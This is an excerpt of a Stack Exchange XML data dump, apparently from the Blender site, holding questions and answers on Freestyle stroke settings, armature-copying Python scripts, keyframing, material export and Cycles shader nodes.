  <row Id="15939" PostTypeId="2" ParentId="9425" CreationDate="2014-09-17T04:07:36.767" Score="8" Body="&lt;p&gt;Yes, you can do this easily from the Freestyle settings. Blender/Freestyle gives you a lot of control. The parameter you want to change is QI Range. This specifies a range of face occlusion to render strokes for. So if you have a cube like in the example below you would set the range Start at 1, and End at 1 or higher and that would render strokes for the edges of the back of the cube. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xeiHl.png&quot; alt=&quot;Blender Freestyle QI Range&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However if you had a second cube behind your first one, a range of Start:1~End:1 will cause the second cube not to have strokes rendered in the areas which are occluded by the foreground cube. Here is an example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7Or7r.png&quot; alt=&quot;Freestyle QI Range Start1 End1&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if we up the values to Start:2~End:2 the foreground cube's back edges are not rendered but the front edges of the background cube are:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NIQNZ.png&quot; alt=&quot;Freestyle QI Range Start2 End2&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is your scene rendered with values of Start:1~End:100 and Alpha set to 0.5 for the occluded stroke set: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0trZM.png&quot; alt=&quot;Your example scene with QI Range and Alpha&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the .blend: &lt;a href=&quot;http://www.pasteall.org/blend/31648&quot; rel=&quot;noreferrer&quot;&gt;http://www.pasteall.org/blend/31648&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And finally, here is the section of the Blender manual which explains this if you want to read further: &lt;a href=&quot;https://www.blender.org/manual/render/freestyle/parameter_editor/line_set.html&quot; rel=&quot;noreferrer&quot;&gt;https://www.blender.org/manual/render/freestyle/parameter_editor/line_set.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2952" LastEditorUserId="2952" LastEditDate="2016-06-28T06:51:36.107" LastActivityDate="2016-06-28T06:51:36.107" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15940" PostTypeId="2" ParentId="15936" CreationDate="2014-09-17T07:14:54.257" Score="1" Body="&lt;p&gt;The following python code copies the bone configuration from the active object to all selected armatures. You do not need to bother with rotation matrix here because the bones are defined in local space, thus the global rotation of the armatures does not need to be taken into account:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;# Assume, that context.object is an armature&#xA;context = bpy.context&#xA;scene   = context.scene&#xA;source  = context.object&#xA;&#xA;# Targets are all other selected armatures&#xA;targets = [a for a in context.selected_objects if a != source and a.type=='ARMATURE']&#xA;&#xA;# Store the bone data of source:&#xA;bpy.ops.object.mode_set(mode='EDIT')&#xA;bone_store = []&#xA;for ebone in source.data.edit_bones:&#xA;    bone_store.append([ebone.name, ebone.head.copy(), ebone.tail.copy(), ebone.roll])&#xA;bpy.ops.object.mode_set(mode='OBJECT')&#xA;&#xA;&#xA;for target in targets:&#xA;    scene.objects.active = target&#xA;    bpy.ops.object.mode_set(mode='EDIT')&#xA;&#xA;    # Transfer the bones to the other armature.&#xA;    # The following works because the bone data is defined in local space:&#xA;&#xA;    ebones = target.data.edit_bones&#xA;    for bone_data in bone_store:&#xA;        bid =  bone_data[0]&#xA;        if bid in ebones:&#xA;            ebone      = ebones[bid]&#xA;            ebone.head = bone_data[1].copy()&#xA;            ebone.tail = bone_data[2].copy()&#xA;            ebone.roll = bone_data[3]&#xA;&#xA;    # Note: You might also want to copy constraints&#xA;&#xA;    bpy.ops.object.mode_set(mode='OBJECT')&#xA;&#xA;scene.objects.active = source&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here is a snippet that copies only the pose from one armature to the other:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;# Assume, that context.object is an armature&#xA;context = bpy.context&#xA;scene   = context.scene&#xA;source  = context.object&#xA;&#xA;# Targets are all other selected armatures&#xA;targets = [a for a in context.selected_objects if a != source and a.type=='ARMATURE']&#xA;&#xA;bpy.ops.object.mode_set(mode='POSE')&#xA;bpy.ops.pose.select_all(action=&quot;SELECT&quot;)&#xA;bpy.ops.pose.copy()&#xA;&#xA;for target in targets:&#xA;    scene.objects.active = target&#xA;    bpy.ops.object.mode_set(mode='POSE')&#xA;    bpy.ops.pose.paste()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="248" LastEditorUserId="248" LastEditDate="2014-09-17T07:51:17.053" LastActivityDate="2014-09-17T07:51:17.053" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="15943" PostTypeId="1" CreationDate="2014-09-17T08:15:49.797" Score="0" ViewCount="1601" Body="&lt;p&gt;Basically, I have my human model all rigged up, and have created two different keyframes.&#xA;The first key frame, the foot is on the ground while the 2nd, it's rotated a bit up.&#xA;The problem is, when I rotate the foot on Frame number 1, it also changes it on frame&#xA;number 2... Now, on frame number 2, the foot is tilted vertically instead of flat on the&#xA;grid surface. If i try to change it on frame 2, it ruins it on frame 1 since it doesn't really copy it, but instead it somehow adds extra changes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to to somehow make it not copy rotates etc to other frames?&lt;/p&gt;&#xA;" OwnerUserId="6083" LastEditorUserId="2217" LastEditDate="2014-09-17T17:01:41.217" LastActivityDate="2014-10-17T17:50:58.443" Title="Changing object position on one key frame changes the rest of the frames as well" Tags="&lt;modeling&gt;&lt;animation&gt;&lt;rigging&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15944" PostTypeId="1" CreationDate="2014-09-17T08:17:28.107" Score="1" ViewCount="3017" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HXdHi.png&quot; alt=&quot;cube&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the cube shown I want to do a rotation on the cubes local z axis so that the cubes local x axis lies on the global xz plane.&lt;/p&gt;&#xA;" OwnerUserId="2533" LastEditorUserId="696" LastEditDate="2014-09-17T16:23:31.753" LastActivityDate="2014-10-17T18:52:39.380" Title="Method to align object local axis with global plane when rotating on local axis?" Tags="&lt;modeling&gt;&lt;workflow&gt;&lt;coordinates&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15945" PostTypeId="1" CreationDate="2014-09-17T08:37:05.333" Score="0" ViewCount="90" Body="&lt;p&gt;I sometimes accidentally change the behaviour of the view port navigation. I don't know how I do it, nor how to reset it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The behaviour is different insofar that if I press the middle mouse button and move the mouse, the view does not rotate around a point that lies somewhere where I'm looking at but more like around a point in the &quot;camera&quot; of the view port.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's like looking around in a first person shooter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What mode is this and how do I change it back?&lt;/p&gt;&#xA;" OwnerUserId="5744" LastActivityDate="2014-09-17T08:37:05.333" Title="Accidental navigation mode change" Tags="&lt;3d-view&gt;" AnswerCount="0" CommentCount="4" ClosedDate="2014-09-17T16:23:05.550" ContentLicense="CC BY-SA 3.0" />
  <row Id="15948" PostTypeId="2" ParentId="15911" CreationDate="2014-09-17T10:03:37.627" Score="3" Body="&lt;p&gt;When you convert a particle system, the new objects all use the same mesh data. This is the same as making a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Objects/Duplication#Linked_Duplicates&quot; rel=&quot;nofollow noreferrer&quot;&gt;linked duplicate&lt;/a&gt;. When you join two of these objects together, every other object using that same mesh will show the same duplication.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender seems to recognise this, so that if you select all of the particle objects and Join them in one go they will be joined into one object without the duplication. The original object you used for the particle system will receive the same duplication so you may want to separate it first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WDABj.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the mesh data properties there is a number between the mesh name and the 'F' button (only shown if it is greater than 1). This number indicates how many objects are using this mesh data. By selecting the original object used as a particle you can click this number to separate the object from the others preventing it getting the same duplication when you join all of the others.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-09-17T10:03:37.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15949" PostTypeId="2" ParentId="15943" CreationDate="2014-09-17T12:01:19.110" Score="1" Body="&lt;p&gt;If you have placed a keyframe only on the &quot;Feet&quot; Bone try to add the frame one and two for the entire leg (Loc,Rot) it should work. If not, try to check the amount of rotation the bone deal with between these two frames, if it's too high it could cause bad moves between frames !&lt;/p&gt;&#xA;" OwnerUserId="6056" LastActivityDate="2014-09-17T12:01:19.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15950" PostTypeId="2" ParentId="15944" CreationDate="2014-09-17T13:29:43.160" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the cube, &lt;kbd&gt;Shift&lt;/kbd&gt; &lt;kbd&gt;S&lt;/kbd&gt; &gt; &lt;strong&gt;Cursor to Selected&lt;/strong&gt;, choose &lt;em&gt;3D Cursor&lt;/em&gt; as current pivot point, or simply press &lt;kbd&gt;.&lt;/kbd&gt; (the period key).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;kbd&gt;Numpad 1&lt;/kbd&gt;, add a plane object, press &lt;kbd&gt;F6&lt;/kbd&gt; then toggle &lt;em&gt;Align to View&lt;/em&gt;, in order to make it parallel to global XZ plane.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the cube, then &lt;strong&gt;View&lt;/strong&gt; &gt; &lt;strong&gt;Align View&lt;/strong&gt; &gt; &lt;strong&gt;Align View to Active&lt;/strong&gt; &gt; &lt;strong&gt;Top&lt;/strong&gt; (or simply press &lt;kbd&gt;Shift&lt;/kbd&gt; &lt;kbd&gt;Numpad 7&lt;/kbd&gt;), then add another plane object, toggle &lt;em&gt;Align to View&lt;/em&gt; in &lt;kbd&gt;F6&lt;/kbd&gt; panel, as well.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Keep current View unchanged, add an empty object, toggle &lt;em&gt;Align to View&lt;/em&gt; in &lt;kbd&gt;F6&lt;/kbd&gt; panel, as well. &lt;kbd&gt;G&lt;/kbd&gt; &lt;kbd&gt;X&lt;/kbd&gt; &lt;kbd&gt;X&lt;/kbd&gt; to move a certain distance along its local X axis.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a &lt;strong&gt;Boolean&lt;/strong&gt; modifier to either one of the plane, set Boolean mode to &lt;em&gt;Intersect&lt;/em&gt;, choose another plane as the target object, in order to generate the intersection line from two planes.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Enable &lt;strong&gt;Snap&lt;/strong&gt; icon on 3D View header, choose &lt;em&gt;Edge&lt;/em&gt; as snap element, and &lt;em&gt;Active&lt;/em&gt; as snap target, first select the cube, then select the empty by holding &lt;kbd&gt;Shift&lt;/kbd&gt; to make it active, &lt;kbd&gt;R&lt;/kbd&gt; &lt;kbd&gt;Z&lt;/kbd&gt; &lt;kbd&gt;Z&lt;/kbd&gt;, move mouse over the intersection line generated in Step 3, until it is snapped, &lt;kbd&gt;LMB&lt;/kbd&gt; or &lt;kbd&gt;Enter&lt;/kbd&gt; to confirm. Finally, delete these extra objects.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2014-09-17T17:24:30.200" LastActivityDate="2014-09-17T17:24:30.200" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15951" PostTypeId="1" CreationDate="2014-09-17T14:25:43.140" Score="0" ViewCount="52" Body="&lt;p&gt;Has anyone used two titan cards in Scalable Link Interface to speed up renders? I'm just curious because I've tried everything.&lt;/p&gt;&#xA;" OwnerUserId="1730" LastEditorDisplayName="user1853" LastEditDate="2014-09-18T17:41:50.047" LastActivityDate="2014-09-18T17:41:50.047" Title="Using Scalable Link Interface (SLI) to speed up renders" Tags="&lt;workflow&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2014-09-17T19:57:14.600" ContentLicense="CC BY-SA 3.0" />
  <row Id="15952" PostTypeId="1" AcceptedAnswerId="15969" CreationDate="2014-09-17T15:29:30.150" Score="6" ViewCount="1840" Body="&lt;p&gt;I have been wondering how to create a diffraction grating material with cycles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the &lt;a href=&quot;http://en.wikipedia.org/wiki/Diffraction_grating&quot;&gt;Wikipedia article&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In optics, a diffraction grating is an optical component with a periodic structure, which splits and diffracts light into several beams travelling in different directions. The directions of these beams depend on the spacing of the grating and the wavelength of the light so that the grating acts as the dispersive element.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Diffraction is what creates the colors on a compact disc.  I am interested mainly in reflective rather than transmissive diffraction, i.e. the light is diffracted on a bounce rather than as it passes through a material.  I have heard that cycles currently does not support true diffraction (though most of what I have read is from a while ago).  So I would be equally interested in some kind of node trick to achieve the effect if this is still not so.&lt;/p&gt;&#xA;" OwnerUserId="5705" LastActivityDate="2014-09-17T23:16:09.267" Title="How to create a reflective diffraction grating with cycles?" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;nodes&gt;&lt;light&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15954" PostTypeId="2" ParentId="15906" CreationDate="2014-09-17T15:51:29.883" Score="3" Body="&lt;p&gt;Reading the other answer, it looks like you might have auto-key turned off, which would reset your camera to the original position. If you have auto-key ON, any change you make will be automatically recorded, even over old keys on the same frame. So it's not entirely necessary that you delete all the keys in order to reposition the camera; you just need to set a key on the frame you want to render (press &quot;I&quot; and select LocRotScale to key all transforms). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is just my opinion, but I generally work with auto-key turned on so I can avoid this. I'm also too lazy to want to set a key every time I make a change (I'm an animator; that's a lot of changes), so I let it do that for me. This is more of a workflow thing, but it is certainly something to know about. Good luck!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Just remember that auto-key is not specific to cameras. It's a general automation tool that will capture attribute changes throughout the scene, such as a transformation or even a material change. You'll find the auto-key toggle button in the playhead in the timeline (the red circle). &lt;/p&gt;&#xA;" OwnerUserId="6089" LastEditorUserId="6089" LastEditDate="2014-09-17T22:15:56.510" LastActivityDate="2014-09-17T22:15:56.510" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15955" PostTypeId="1" CreationDate="2014-09-17T15:55:47.043" Score="4" ViewCount="1554" Body="&lt;p&gt;I am having difficulty transferring any materials that I add onto a structure within blender.  After I'm done adding the different materials, when I export the blend file to either a .obj or .3ds the structure carries over, but the materials do not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When going into composite mode, and rendering the scene all I get is a blank scene with boxes, it seems to render rather quickly with no result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is therefore, if you take the basic cube model, add a material to it, save it and export it to an object(.obj) file, is there a way to carry over the material change you made to it?  I tried this on the basic cube and it didn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm a self admitted novice at using blender, so any insight or help is appreciated.&lt;/p&gt;&#xA;" OwnerUserId="6086" LastActivityDate="2015-10-28T15:42:08.583" Title="Materials and Exporting to different formats" Tags="&lt;materials&gt;&lt;export&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15956" PostTypeId="2" ParentId="15955" CreationDate="2014-09-17T16:06:38.397" Score="2" Body="&lt;p&gt;&lt;strong&gt;Unfortunately, as far as I know, the answer is no.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason for this is that materials are specific to the render engine.  Geometry is basically a bunch of points in space and fairly easy to standardize, and thus easy to export and toss between different pieces of software.  But a material tells the render engine how to bounce light off the geometry.  And because there are so many fundamentally different rendering algorithms there is simply no way to standardize the materials.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cycles works very differently from Mental Ray for instance, so the instructions to tell cycles how to bounce light off surface are very different from the instructions to tell Mental Ray (or any other render engine) how to do so.&lt;/p&gt;&#xA;" OwnerUserId="5705" LastEditorUserId="5705" LastEditDate="2015-10-28T15:42:08.583" LastActivityDate="2015-10-28T15:42:08.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15957" PostTypeId="1" AcceptedAnswerId="42979" CreationDate="2014-09-17T16:57:16.333" Score="4" ViewCount="658" Body="&lt;p&gt;Is it possible to use the animation data generated by the &lt;em&gt;explode modifier&lt;/em&gt; for an animation in the game engine? If you start with the object you want to blow up, subdivide it, add a particle system, set the settings to make the particles go boom, then add the explode modifier, You will have a nice explosion. However, particle systems are not supported in the game engine, so Even if the object you want to blow up is set to play the animation using the &lt;em&gt;action&lt;/em&gt; actuator, nothing will happen in the game engine. I have tried applying the &lt;em&gt;explode modifier&lt;/em&gt;, but all that does, is create a mesh based on the particle system data for the selected frame. Is there a way to use the animation data from the explode modifier as a action in the game engine?&lt;/p&gt;&#xA;" OwnerUserId="5426" LastEditorUserId="5426" LastEditDate="2015-01-08T00:42:30.100" LastActivityDate="2015-12-14T01:13:42.970" Title="Apply the explode modifier for usage in the game engine" Tags="&lt;animation&gt;&lt;game-engine&gt;&lt;particles&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15958" PostTypeId="2" ParentId="15955" CreationDate="2014-09-17T17:10:17.070" Score="3" Body="&lt;p&gt;Material definitions can become very complex. Simple things like the Color, Specularity, Transparency can be exported to .obj (wavefront format). More complex material definitions which involve the texture stack can not be exported as .obj afaik. However, if you ask if exporting materials is possible &quot;in principle&quot;, then the answer is &quot;yes&quot;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can transport more complex materials by using FBX or Collada as transfer format. But beware, not even with these formats you can transfer the complete material definition. This is partially because the material properties are blender specific, and partially because the exporters have not (yet) implemented the full capabilities. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that the Collada exporter allows to export materials with image textures in the texture stack. I guess the FBX exporter can do that as well (but this needs an approval)&lt;/p&gt;&#xA;" OwnerUserId="248" LastActivityDate="2014-09-17T17:10:17.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15959" PostTypeId="1" AcceptedAnswerId="15992" CreationDate="2014-09-17T17:21:43.713" Score="2" ViewCount="208" Body="&lt;p&gt;I'm working with the video editing part of Blender, and I was wanting to change the proxy video settings on all of the videos in my project in the sequencer. But I had to go to each individual video to do so. It took up a lot of time. Is there a way to do it faster?&lt;/p&gt;&#xA;" OwnerUserId="3090" LastEditorUserId="12" LastEditDate="2014-09-18T12:35:10.707" LastActivityDate="2014-09-18T16:22:02.183" Title="Batch Manipulation in the VSE?" Tags="&lt;video-sequence-editor&gt;&lt;video&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15960" PostTypeId="2" ParentId="15814" CreationDate="2014-09-17T17:34:09.553" Score="4" Body="&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Camera in volume is now natively &lt;a href=&quot;https://developer.blender.org/rBfe731686fb31b6c3781867d93219b8e0a3a55824&quot; rel=&quot;nofollow noreferrer&quot;&gt;supported as of 2.73&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Cycles: Add support for cameras inside volume&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Basically the title says it all, volume stack initialization now is&#xA;  aware that camera might be inside of the volume. This gives quite&#xA;  noticeable render time regressions in cases camera is in the volume&#xA;  (didn't measure them yet) because this requires quite a few of&#xA;  ray-casting per camera ray in order to check which objects we're&#xA;  inside. Not quite sure if this might be optimized.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;But the good thing is that we can do quite a good job on detecting&#xA;  whether camera is outside of any of the volumes and in this case there&#xA;  should be no time penalty at all (apart from some extra checks during&#xA;  the sync state).&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;For now we're only doing rather simple AABB checks between the&#xA;  viewplane and volume objects. This could give some false-positives,&#xA;  but this should be good starting point.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Need to mention panoramic cameras here, for them it's only check for&#xA;  whether there are volumes in the scene, which would lead to speed&#xA;  regressions even if the camera is outside of the volumes. Would need&#xA;  to figure out proper check for such cameras.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;There are still quite a few of TODOs in the code, but the patch is&#xA;  good enough to start playing around with it checking whether there are&#xA;  some obvious mistakes somewhere.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Currently the feature is only available in the Experimental feature&#xA;  sey, need to solve some of the TODOs and look into making things&#xA;  faster before considering the feature is ready for the official&#xA;  feature set. This would still likely happen in current release cycle.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;As user &lt;a href=&quot;https://blender.stackexchange.com/users/935/sambler&quot;&gt;sambler&lt;/a&gt; pointed out, &lt;a href=&quot;https://developer.blender.org/D794&quot; rel=&quot;nofollow noreferrer&quot;&gt;fix is on the way&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1610" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:41.900" LastActivityDate="2015-08-11T21:26:26.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15961" PostTypeId="1" AcceptedAnswerId="15962" CreationDate="2014-09-17T18:14:59.370" Score="3" ViewCount="1870" Body="&lt;p&gt;I made an earth object and gave it a material including the usage of the new input of the &quot;Light path&quot; node &quot;Transparent depth&quot; which makes the back faces invisible. However, when an object has transparency on it, the input ignores the object with the &quot;Transparent depth&quot; input behind it and makes it invisible.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;The object itself - &#xA;&lt;img src=&quot;https://i.stack.imgur.com/uiPr2.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/9BoOm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Using a transparent object behind it - &#xA;&lt;img src=&quot;https://i.stack.imgur.com/kSof2.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/RESb4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Here's the file - &lt;a href=&quot;http://www.pasteall.org/blend/31655&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/blend/31655&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3398" LastEditorUserId="3398" LastEditDate="2014-09-17T18:47:44.047" LastActivityDate="2014-09-17T20:11:39.313" Title="Light path - Transparent depth issue" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;nodes&gt;&lt;shaders&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15962" PostTypeId="2" ParentId="15961" CreationDate="2014-09-17T19:47:56.233" Score="4" Body="&lt;p&gt;One thing you can do is make the material invisible only after it goes through &lt;em&gt;two&lt;/em&gt; layers of transparency, rather than just one, by adding a &lt;em&gt;greater than&lt;/em&gt; node:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/giFW6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The transparent depth output is incremented each time the ray goes through a transparent surface. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;With your current setup, it is used to mix between a partially transparent shader and a completely transparent shader based on the number of transparent surfaces the ray has passed through. The partially transparent shader is used if no transparent faces have been encountered, and the completely transparent shader is used if more than 0 transparent surfaces.&lt;br&gt;&#xA;For example, the logic looks something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if transparent_depth &amp;gt;= 1:&#xA;    use_transparency()&#xA;else:&#xA;    use_shader()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Since you put another transparent surface in front of the sphere, you need to allow for that by only making the shader completely transparent after at least two transparent surfaces have been encountered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By using a &lt;em&gt;greater than&lt;/em&gt; node like in the setup above, the logic should look more like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if transparent_depth &amp;gt;= 2:&#xA;    use_transparency()&#xA;else:&#xA;    use_shader()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-09-17T20:11:39.313" LastActivityDate="2014-09-17T20:11:39.313" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15963" PostTypeId="1" CreationDate="2014-09-17T20:51:51.720" Score="6" ViewCount="5203" Body="&lt;p&gt;I'm trying to create a gravestone with chiseled text on it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a cube (the stone) a text for which I added some depth and bevel, and then converted to a mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I positioned the text so that it's partly &quot;inside&quot; the cube and tried adding a boolean difference modifier on the cube (cube - text), so that the text would be chiseled in the stone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This gets Blender crazy. Initially nothing worked. I used a decimate modifier on the text to reduce its complexity, and now A few letters are chiseled, the rest are not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is how things look when Both the cube (headstone) and the text (now a mesh) are visible (there's another grave base object, but we can ignore it):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/csF2P.png&quot; alt=&quot;Both gravestone and text shown&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The gravestone has the boolean difference modifier, and if I hide the text, this is what I see:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/a91m6.png&quot; alt=&quot;Gravestone with some chiseling&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can I do to make this work? I don't actually need to render this scene, I want to&#xA;convert it to an STL file and 3D print it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;More info&lt;/strong&gt;: As stated in the comments, this is due to the text being non-manifold. Actually, it has 2000+ non-manifold edges!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I try to remove doubles, it just deletes the entire text. No matter what the double threshold is (tried 1mm, 0.1mm, etc. - I'm working with metric units).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions on this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The file with the issue&lt;/strong&gt; can be found at: &lt;a href=&quot;https://sites.google.com/site/blender3dtopics/files/gravestone.blend?attredirects=0&amp;amp;d=1&quot; rel=&quot;nofollow noreferrer&quot;&gt;this location&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Another file&lt;/strong&gt; can be found at: &lt;a href=&quot;https://sites.google.com/site/blender3dtopics/files/rip-remesh.blend?attredirects=0&amp;amp;d=1&quot; rel=&quot;nofollow noreferrer&quot;&gt;this location&lt;/a&gt;.&lt;br&gt;&#xA;This time, I've used the remesh modifier, but it only worked for one text object (converted to a mesh and remeshed), not the other two. The difference between the one that works, and the others that don't is that for the first one I used Octree depth = 7, and for the other two I used Octree depth = 8 (as 7 wasn't smooth enough).&lt;br&gt;&#xA;To test this, just replace the object used in the boolean modifier of the cute from 'RIP' (which works) to either 'iGoogle' or 'years', which don't work.&lt;/p&gt;&#xA;" OwnerUserId="1356" LastEditorUserId="1356" LastEditDate="2014-10-12T19:44:52.453" LastActivityDate="2019-01-01T16:11:44.740" Title="Failing to chisel (boolean difference) text on a cube side" Tags="&lt;modifiers&gt;&lt;text-object&gt;" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
